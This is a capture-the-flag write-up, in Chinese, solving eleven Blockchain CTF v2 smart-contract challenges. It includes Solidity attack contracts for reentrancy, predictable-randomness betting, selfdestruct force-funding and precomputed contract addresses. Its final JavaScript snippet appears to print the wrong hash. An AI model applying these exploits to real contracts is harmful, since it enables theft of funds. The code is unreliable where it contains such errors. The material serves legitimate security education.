Blockchain CTF v2 write up
前兩天看到這個智慧合約的 ofollow,noindex" target="_blank">ctf 出了v2版本,第一版的時候題目不多,而且也比較基礎,這次更了第二版加了四道題,而且對老版的題目進行了一定的改進,雖然考點沒變,但程式碼是更加規範了,至少編譯起來看著是舒服多了,不過更新後沒法用以前的賬號繼續,只能重新做,所以順手在這記錄了一下
題目地址 https://blockchain-ctf.securityinnovation.com
0x1.Donation
原始碼如下
pragma solidity 0.4.24; import "../CtfFramework.sol"; import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; contract Donation is CtfFramework{ using SafeMath for uint256; uint256 public funds; constructor(address _ctfLauncher, address _player) public payable CtfFramework(_ctfLauncher, _player) { funds = funds.add(msg.value); } function() external payable ctf{ funds = funds.add(msg.value); } function withdrawDonationsFromTheSuckersWhoFellForIt() external ctf{ msg.sender.transfer(funds); funds = 0; } }
第一關,非常簡單,在這一系列的題目了我們的目標都是清空合約的餘額,此處直接呼叫 withdrawDonationsFromTheSuckersWhoFellForIt
函式即可,這裡主要是讓你熟悉操作,為了方便我都是直接使用 remix 進行呼叫,下面也一樣,就不再贅述了
0x2.lock box
主要程式碼
pragma solidity 0.4.24; import "./CtfFramework.sol"; contract Lockbox1 is CtfFramework{ uint256 private pin; constructor(address _ctfLauncher, address _player) public payable CtfFramework(_ctfLauncher, _player) { pin = now%10000; } function unlock(uint256 _pin) external ctf{ require(pin == _pin, "Incorrect PIN"); msg.sender.transfer(address(this).balance); } }
很簡單,考點就是EVM中storage儲存的讀取,為了呼叫unlock函式,我們要知道合約中儲存的pin的值,儘管它是個private的變數,無法被外部call,但是可以直接使用getStorageAt讀取其值,因為CtfFramework合約中有個mapping變數的宣告佔據了一個slot,所以此處pin所在的即第二個slot,即index為1
web3.eth.getStorageAt(‘your challenge address’, 1, console.log);
使用獲取到的pin去呼叫unlock函式即可
0x3.Piggy Bank
主要程式碼
contract PiggyBank is CtfFramework{ using SafeMath for uint256; uint256 public piggyBalance; string public name; address public owner; constructor(address _ctfLauncher, address _player, string _name) public payable CtfFramework(_ctfLauncher, _player) { name=_name; owner=msg.sender; piggyBalance=piggyBalance.add(msg.value); } function() external payable ctf{ piggyBalance=piggyBalance.add(msg.value); } modifier onlyOwner(){ require(msg.sender == owner, "Unauthorized: Not Owner"); _; } function withdraw(uint256 amount) internal{ piggyBalance = piggyBalance.sub(amount); msg.sender.transfer(amount); } function collectFunds(uint256 amount) public onlyOwner ctf{ require(amount<=piggyBalance, "Insufficient Funds in Contract"); withdraw(amount); } } contract CharliesPiggyBank is PiggyBank{ uint256 public withdrawlCount; constructor(address _ctfLauncher, address _player) public payable PiggyBank(_ctfLauncher, _player, "Charlie") { withdrawlCount = 0; } function collectFunds(uint256 amount) public ctf{ require(amount<=piggyBalance, "Insufficient Funds in Contract"); withdrawlCount = withdrawlCount.add(1); withdraw(amount); } }
這道題主要考的是solidity中的繼承,在 CharliesPiggyBank
合約跟 PiggyBank
合約中都有 collectFunds
函式,但是 PiggyBank
中只有owner可以呼叫,而 CharliesPiggyBank
則是繼承自 PiggyBank
合約,其自己重寫的 collectFunds
函式實際上覆蓋了 PiggyBank
中的同名函式,所以我們直接呼叫合約中的 collectFunds
函式即可,關於solidity中的繼承我也寫過相關的文章,更多內容可以看這裡,solidity中的繼承雜談
直接使用 piggyBalance
呼叫 collectFunds
即可完成挑戰
0x4.SI Token Sale
主要程式碼
contract SIToken is StandardToken { using SafeMath for uint256; string public name = "SIToken"; string public symbol = "SIT"; uint public decimals = 18; uint public INITIAL_SUPPLY = 1000 * (10 ** decimals); constructor() public{ totalSupply_ = INITIAL_SUPPLY; balances[this] = INITIAL_SUPPLY; } } contract SITokenSale is SIToken, CtfFramework { uint256 public feeAmount; uint256 public etherCollection; address public developer; constructor(address _ctfLauncher, address _player) public payable CtfFramework(_ctfLauncher, _player) { feeAmount = 10 szabo; developer = msg.sender; purchaseTokens(msg.value); } function purchaseTokens(uint256 _value) internal{ require(_value > 0, "Cannot Purchase Zero Tokens"); require(_value < balances[this], "Not Enough Tokens Available"); balances[msg.sender] += _value - feeAmount; balances[this] -= _value; balances[developer] += feeAmount; etherCollection += msg.value; } function () payable external ctf{ purchaseTokens(msg.value); } // Allow users to refund their tokens for half price ;-) function refundTokens(uint256 _value) external ctf{ require(_value>0, "Cannot Refund Zero Tokens"); transfer(this, _value); etherCollection -= _value/2; msg.sender.transfer(_value/2); } function withdrawEther() external ctf{ require(msg.sender == developer, "Unauthorized: Not Developer"); require(balances[this] == 0, "Only Allowed Once Sale is Complete"); msg.sender.transfer(etherCollection); } }
這題的考點主要在於溢位,雖然前面引入了safemath,卻沒有使用,這就導致合約中存在下溢,很明顯 purchaseTokens
函式中
balances[msg.sender] += _value – feeAmount;
只要傳入一個小於 feeAmount
的 _value
,即可讓我們的balances下溢,比如傳送1gas,然後即可呼叫 refundTokens
函式將合約的餘額清空,因為這裡是將 _value
除2得到提取的餘額,所以我們將合約的 etherCollection
乘2作為 _value
即可,這裡面也包含我們前面呼叫 purchaseTokens
傳送的ether。
0x5.Secure Bank
主要程式碼
contract SimpleBank is CtfFramework{ mapping(address => uint256) public balances; constructor(address _ctfLauncher, address _player) public payable CtfFramework(_ctfLauncher, _player) { balances[msg.sender] = msg.value; } function deposit(address _user) public payable ctf{ balances[_user] += msg.value; } function withdraw(address _user, uint256 _value) public ctf{ require(_value<=balances[_user], "Insufficient Balance"); balances[_user] -= _value; msg.sender.transfer(_value); } function () public payable ctf{ deposit(msg.sender); } } contract MembersBank is SimpleBank{ mapping(address => string) public members; constructor(address _ctfLauncher, address _player) public payable SimpleBank(_ctfLauncher, _player) { } function register(address _user, string _username) public ctf{ members[_user] = _username; } modifier isMember(address _user){ bytes memory username = bytes(members[_user]); require(username.length != 0, "Member Must First Register"); _; } function deposit(address _user) public payable isMember(_user) ctf{ super.deposit(_user); } function withdraw(address _user, uint256 _value) public isMember(_user) ctf{ super.withdraw(_user, _value); } } contract SecureBank is MembersBank{ constructor(address _ctfLauncher, address _player) public payable MembersBank(_ctfLauncher, _player) { } function deposit(address _user) public payable ctf{ require(msg.sender == _user, "Unauthorized User"); require(msg.value < 100 ether, "Exceeding Account Limits"); require(msg.value >= 1 ether, "Does Not Satisfy Minimum Requirement"); super.deposit(_user); } function withdraw(address _user, uint8 _value) public ctf{ require(msg.sender == _user, "Unauthorized User"); require(_value < 100, "Exceeding Account Limits"); require(_value >= 1, "Does Not Satisfy Minimum Requirement"); super.withdraw(_user, _value * 1 ether); } function register(address _user, string _username) public ctf{ require(bytes(_username).length!=0, "Username Not Enough Characters"); require(bytes(_username).length<=20, "Username Too Many Characters"); super.register(_user, _username); } }
這道題倒是有點意思,乍一看以為是繼承的問題,不過在remix上匯入後發現出現了兩個 withdraw
函式,原來是 MembersBank
合約跟 SecureBank
合約的 withdraw
函式的引數型別不同,一個的_value是uint8,另一個卻是uint256,這樣這兩個函式的簽名就不相同了,在合約裡也就是兩個不同的函式,不過它們使用 super.withdraw
最終都會呼叫 SimpleBank
的 withdraw
函式。
因為這兩個withdraw的限定條件不同,所以就存在了漏洞, SecureBank
中要求
require(msg.sender == _user, “Unauthorized User”);
但是 MembersBank
中僅需要是註冊使用者即可,所以這題的流程就是先呼叫 register
函式註冊一下,然後使用etherscan在挑戰合約的建立交易裡檢視一下合約的建立者,因為合約的ether都存在了它的賬戶上,然後我們直接使用這個地址來呼叫 MembersBank
中的 withdraw
函式即可,也就是找到引數型別為uint256的函式,非常簡單就不贅述了
0x6.Lottery
主要程式碼
contract Lottery is CtfFramework{ using SafeMath for uint256; uint256 public totalPot; constructor(address _ctfLauncher, address _player) public payable CtfFramework(_ctfLauncher, _player) { totalPot = totalPot.add(msg.value); } function() external payable ctf{ totalPot = totalPot.add(msg.value); } function play(uint256 _seed) external payable ctf{ require(msg.value >= 1 finney, "Insufficient Transaction Value"); totalPot = totalPot.add(msg.value); bytes32 entropy = blockhash(block.number); bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender)); bytes32 target = keccak256(abi.encodePacked(entropy^entropy2)); bytes32 guess = keccak256(abi.encodePacked(_seed)); if(guess==target){ //winner uint256 payout = totalPot; totalPot = 0; msg.sender.transfer(payout); } } }
一個很簡單的隨機數漏洞,直接部署攻擊合約
contract attack { Lottery target; constructor() public{ target=Lottery(your challenge address); } function pwn() payable{ bytes32 entropy = block.blockhash(block.number); bytes32 entropy2 = keccak256(this); uint256 seeds = uint256(entropy^entropy2); target.play.value(msg.value)(seeds); } function () payable{ } }
首先在 ctf_challenge_add_authorized_sender
函式中將攻擊合約註冊一下,然後即可發起攻擊
0x7.Trust Fund
contract TrustFund is CtfFramework{ using SafeMath for uint256; uint256 public allowancePerYear; uint256 public startDate; uint256 public numberOfWithdrawls; bool public withdrewThisYear; address public custodian; constructor(address _ctfLauncher, address _player) public payable CtfFramework(_ctfLauncher, _player) { custodian = msg.sender; allowancePerYear = msg.value.div(10); startDate = now; } function checkIfYearHasPassed() internal{ if (now>=startDate + numberOfWithdrawls * 365 days){ withdrewThisYear = false; } } function withdraw() external ctf{ require(allowancePerYear > 0, "No Allowances Allowed"); checkIfYearHasPassed(); require(!withdrewThisYear, "Already Withdrew This Year"); if (msg.sender.call.value(allowancePerYear)()){ withdrewThisYear = true; numberOfWithdrawls = numberOfWithdrawls.add(1); } } function returnFunds() external payable ctf{ require(msg.value == allowancePerYear, "Incorrect Transaction Value"); require(withdrewThisYear==true, "Cannot Return Funds Before Withdraw"); withdrewThisYear = false; numberOfWithdrawls=numberOfWithdrawls.sub(1); } }
一個很典型的重入漏洞,注意到此處
if (msg.sender.call.value(allowancePerYear)()){withdrewThisYear = true;numberOfWithdrawls = numberOfWithdrawls.add(1);}
使用了 call.value
來發送ether,同時餘額的更新放在了後面,這樣我們就可以重複提幣直到清空合約的ether了
部署攻擊合約
contract attack { TrustFund target; constructor() { target = TrustFund(your challenge address); } function pwn(){ target.withdraw(); } function () payable { target.withdraw(); } }
同樣記得先呼叫 ctf_challenge_add_authorized_sender
將攻擊合約新增到玩家裡
0x8.Record Label
主要程式碼
contract Royalties{ using SafeMath for uint256; address private collectionsContract; address private artist; address[] private receiver; mapping(address => uint256) private receiverToPercentOfProfit; uint256 private percentRemaining; uint256 public amountPaid; constructor(address _manager, address _artist) public { collectionsContract = msg.sender; artist=_artist; receiver.push(_manager); receiverToPercentOfProfit[_manager] = 80; percentRemaining = 100 - receiverToPercentOfProfit[_manager]; } modifier isCollectionsContract() { require(msg.sender == collectionsContract, "Unauthorized: Not Collections Contract"); _; } modifier isArtist(){ require(msg.sender == artist, "Unauthorized: Not Artist"); _; } function addRoyaltyReceiver(address _receiver, uint256 _percent) external isArtist{ require(_percent<percentRemaining, "Precent Requested Must Be Less Than Percent Remaining"); receiver.push(_receiver); receiverToPercentOfProfit[_receiver] = _percent; percentRemaining = percentRemaining.sub(_percent); } function payoutRoyalties() public payable isCollectionsContract{ for (uint256 i = 0; i< receiver.length; i++){ address current = receiver[i]; uint256 payout = msg.value.mul(receiverToPercentOfProfit[current]).div(100); amountPaid = amountPaid.add(payout); current.transfer(payout); } msg.sender.call.value(msg.value-amountPaid)(bytes4(keccak256("collectRemainingFunds()"))); } function getLastPayoutAmountAndReset() external isCollectionsContract returns(uint256){ uint256 ret = amountPaid; amountPaid = 0; return ret; } function () public payable isCollectionsContract{ payoutRoyalties(); } } contract Manager{ address public owner; constructor(address _owner) public { owner = _owner; } function withdraw(uint256 _balance) public { owner.transfer(_balance); } function () public payable{ // empty } } contract RecordLabel is CtfFramework{ using SafeMath for uint256; uint256 public funds; address public royalties; constructor(address _ctfLauncher, address _player) public payable CtfFramework(_ctfLauncher, _player) { royalties = new Royalties(new Manager(_ctfLauncher), _player); funds = funds.add(msg.value); } function() external payable ctf{ funds = funds.add(msg.value); } function withdrawFundsAndPayRoyalties(uint256 _withdrawAmount) external ctf{ require(_withdrawAmount<=funds, "Insufficient Funds in Contract"); funds = funds.sub(_withdrawAmount); royalties.call.value(_withdrawAmount)(); uint256 royaltiesPaid = Royalties(royalties).getLastPayoutAmountAndReset(); uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid); msg.sender.transfer(artistPayout); } function collectRemainingFunds() external payable{ require(msg.sender == royalties, "Unauthorized: Not Royalties Contract"); } }
這題程式碼看著很長,其實要清空合約的balance很簡單,因為呼叫 withdrawFundsAndPayRoyalties
函式時會將對應的 _withdrawAmount
全部發送至 Royalties
合約,而 Royalties
會將其中的80%傳送給建立者,剩下的20%發回去,接著 withdrawFundsAndPayRoyalties
中又會將這20%傳送給我們,所以我們直接將 _withdrawAmount
設為1 ether來呼叫 withdrawFundsAndPayRoyalties
函式即可,合約內的交易狀態如下
Royalties
合約在這個交易中的狀態如下
0x9.Heads or Tails
程式碼如下
contract HeadsOrTails is CtfFramework{ using SafeMath for uint256; uint256 public gameFunds; uint256 public cost; constructor(address _ctfLauncher, address _player) public payable CtfFramework(_ctfLauncher, _player) { gameFunds = gameFunds.add(msg.value); cost = gameFunds.div(10); } function play(bool _heads) external payable ctf{ require(msg.value == cost, "Incorrect Transaction Value"); require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract"); bytes32 entropy = blockhash(block.number-1); bytes1 coinFlip = entropy[0] & 1; if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) { //win gameFunds = gameFunds.sub(msg.value.div(2)); msg.sender.transfer(msg.value.mul(3).div(2)); } else { //loser gameFunds = gameFunds.add(msg.value); } } }
一個簡單的賭博合約,還是利用隨機數漏洞,每次猜對可以獲得賭注的1.5倍,因為每次下注只能為0.1ether,所以一次的收益為0.05ether,要將合約的ether清空需要20次,那麼我們直接在合約中迴圈呼叫20次即可
部署攻擊合約
contract attack { HeadsOrTails target; function attack() { target = HeadsOrTails(your challenge address); } function pwn() payable { bytes32 entropy = block.blockhash(block.number-1); bytes1 coinFlip = entropy[0] & 1; for(int i=0;i<20;i++){ if (coinFlip == 1){ target.play.value(100000000000000000)(true); } else { target.play.value(100000000000000000)(false); } } } function () payable { } }
將攻擊合約新增到玩家列表即可開始攻擊,注意gas要設定的足夠高,傳送的value在2 ether以上
這樣在一個塊內即可完成攻擊過程
0x10.Slot Machine
主要程式碼
contract SlotMachine is CtfFramework{ using SafeMath for uint256; uint256 public winner; constructor(address _ctfLauncher, address _player) public payable CtfFramework(_ctfLauncher, _player) { winner = 5 ether; } function() external payable ctf{ require(msg.value == 1 szabo, "Incorrect Transaction Value"); if (address(this).balance >= winner){ msg.sender.transfer(address(this).balance); } } }
完成挑戰需要合約的balance大於5 ether,但是合約的fallback函式限制了我們每次傳送的ether為1 szabo,而1 ether等於10^6 szabo,所以想靠這樣傳送ether滿足條件是不現實的,這裡就得利用 selfdestruct
函式在自毀合約時強制傳送合約的balance,因為這樣不會出發目標的fallback函式。
部署一個攻擊合約
contract attack { constructor() public payable{ } function pwn() public { selfdestruct(your challenge address); } }
建立合約時傳送足夠的ether,然後銷燬合約強制傳送ether即可完成挑戰。
0x11.Rainy Day Fund
主要程式碼
contract DebugAuthorizer{ bool public debugMode; constructor() public payable{ if(address(this).balance == 1.337 ether){ debugMode=true; } } } contract RainyDayFund is CtfFramework{ address public developer; mapping(address=>bool) public fundManagerEnabled; DebugAuthorizer public debugAuthorizer; constructor(address _ctfLauncher, address _player) public payable CtfFramework(_ctfLauncher, _player) { //debugAuthorizer = (new DebugAuthorizer).value(1.337 ether)(); // Debug mode only used during development debugAuthorizer = new DebugAuthorizer(); developer = msg.sender; fundManagerEnabled[msg.sender] = true; } modifier isManager() { require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() || msg.sender == developer, "Unauthorized: Not a Fund Manager"); _; } function () external payable ctf{ // Anyone can add to the fund } function addFundManager(address _newManager) external isManager ctf{ fundManagerEnabled[_newManager] = true; } function removeFundManager(address _previousManager) external isManager ctf{ fundManagerEnabled[_previousManager] = false; } function withdraw() external isManager ctf{ msg.sender.transfer(address(this).balance); } }
可以提幣的地方只有withdraw函式,顯然必須滿足 isManager
條件
modifier isManager() {require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() || msg.sender == developer, “Unauthorized: Not a Fund Manager”);_;}
看了看第一個和第三個條件,顯然是沒法滿足,只能將目光轉向第二個條件,這就要求在 DebugAuthorizer
合約中在剛部署時其地址的balance即為1.337 ether,那麼我們又想到了selfdestruct,不過這裡合約已經部署,我們得在合約部署前計算出該 DebugAuthorizer
合約的地址,然後再向其傳送1.337 ether
我們首先在挑戰合約的建立交易裡找到建立者的地址,如下
0xed0d5160c642492b3b482e006f67679f5b6223a2
這也是個合約,在以太坊原始碼中合約地址的計算方法如下
func CreateAddress(b common.Address, nonce uint64) common.Address { data, _ := rlp.EncodeToBytes([]interface{}{b, nonce}) //對地址和nonce進行rlp編碼 return common.BytesToAddress(Keccak256(data)[12:]) //利用keccak256算hash,後20個位元組作為新地址 }
在該合約的 internaltx 檢視一下部署下一個合約時的nonce值,數一下已經成功部署的合約有多少然後+1即可,利用該nonce我們即可算出部署的 RainyDayFund
合約的地址,接著使用該地址和nonce 1即可算出其部署的 DebugAuthorizer
合約的地址
const util = require('ethereumjs-util'); const rlp = require('rlp'); var address1="0xeD0D5160c642492b3B482e006F67679F5b6223A2" encodedRlp1 = rlp.encode([address1, your nonce]); buf1 = util.sha3(encodedRlp1); address2 =buf1.slice(12).toString('hex'); encodedRlp2= rlp.encode([address2, 1]); buf2 = util.sha3(encodedRlp2); address=buf1.slice(12).toString('hex'); console.log(address);
然後向該地址傳送1.337 ether,然後重新部署挑戰合約即可。